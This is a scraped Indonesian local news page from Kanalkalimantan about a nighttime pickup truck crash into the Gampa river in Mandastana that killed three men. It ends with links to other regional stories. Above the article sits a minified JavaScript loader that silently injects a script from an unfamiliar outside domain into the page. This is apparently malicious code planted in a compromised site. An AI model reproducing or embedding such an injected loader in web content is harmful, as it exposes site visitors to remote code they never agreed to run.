(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARABAHAN, Sebuah kecelakaan maut melibatkan jenis mobil Suzuki Carry bak terbuka, menewaskan tiga penumpang di depan Koramil 1005-05/Mds, Jl Brigjen Hasan Basri, Desa Puntik Dalam, Kecamatan Mandastana, Baritokuala, Jumat (9/2), dini hari pukul 01.15 Wita. Korban tewas dilarikan ke Klinik Handil Bakti.
Diduga, korban tewas karena terjebak di dalam mobil yang terperosok ke dalam sungai. Menurut keterangan Wakil Danramil Mandastana Pelda Muhabib, relawan Badan Penanggulangan Bencana Daerah (BPBD) Barito Kuala, Prabu Seno mengatakan, ada tiga korban yang ditemukan dalam kondisi meninggal dunia. Ketiganya merupakan warga Desa Karang Bunga, Kecamatan Mandastana. Mereka adalah Gatot (33), Yusup (20), dan Sutrisno (31).
Menurut Prabu Seno, kecelakaan ini bermula pada Jum’at dini hari pukul 01.10 Wita. Sebelumnya, pick up tersebut ditumpangi oleh empat orang, usai pulang bekerja dari simpang empat, Kecamatan Alalak. Sebelum kecelakaan terjadi, di tengah perjalanan mereka berempat sempat mampir ke rumah koleganya, untuk mengantar salah seorang penumpang bernama Rudi alias Rudi Gondrong. Setelah itu, ketiganya bergegas melanjutkan perjalanan menuju pulang.
Informasi yang beredar, sebelum mobil tersungkur ke Sungai Gampa di depan Makoramil Mandastana, pick up tersebut sempat saling adu balap dengan mobil bak terbuka lainnya dari arah Kota Banjarmasin menuju Marabahan.
“Aksi kejar-kejaran dengan kecepatan tinggi terjadi, hingga salah satu mobil mau mendahului tapi hilang kendali. Akhirnya terpelanting ke arah sebelah kiri . Kemudian membentur tembok jembatan sungai depan Koramil dan terpental sejauh kurang lebih 20 meter ke dalam sungai,†kata Prabu Seno kepada Kanalkalimantan, Jumat (9/2).
Saat evakuasi pertama yang dilakukan beberapa saat usai kejadian, tim penolong hanya menemukan jenazah Gatot dan Yusup. Adapun satu orang korban lainnya belum ditemukan, karena cuaca hujan deras dan gelap.
Tim selanjutnya melanjutkan evakuasi pada Jumat pagi. Di sela pencarian, mereka mendapat lagi satu korban tewas berjarak 10 meter dari tempat kejadian atas nama Sutrisno.
Korban terakhir sempat diduga selamat dan keluar dari kabin untuk menyelamatkan diri. Namun karena cuaca dan kondisi gelap di sungai dengan kondisi luka parah, akhirnya Sutrisno meninggal tidak jauh dari tempat kejadian.
“Saat ini semua korban tewas dibawa ke Klinik Handil Bakti, Kecamatan Alalak. Jenazah dua korban sudah dibawa ke rumah duka. Sementara jenazah Sutrisno masin divisum di Klinik Handil Bakti,†jelasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.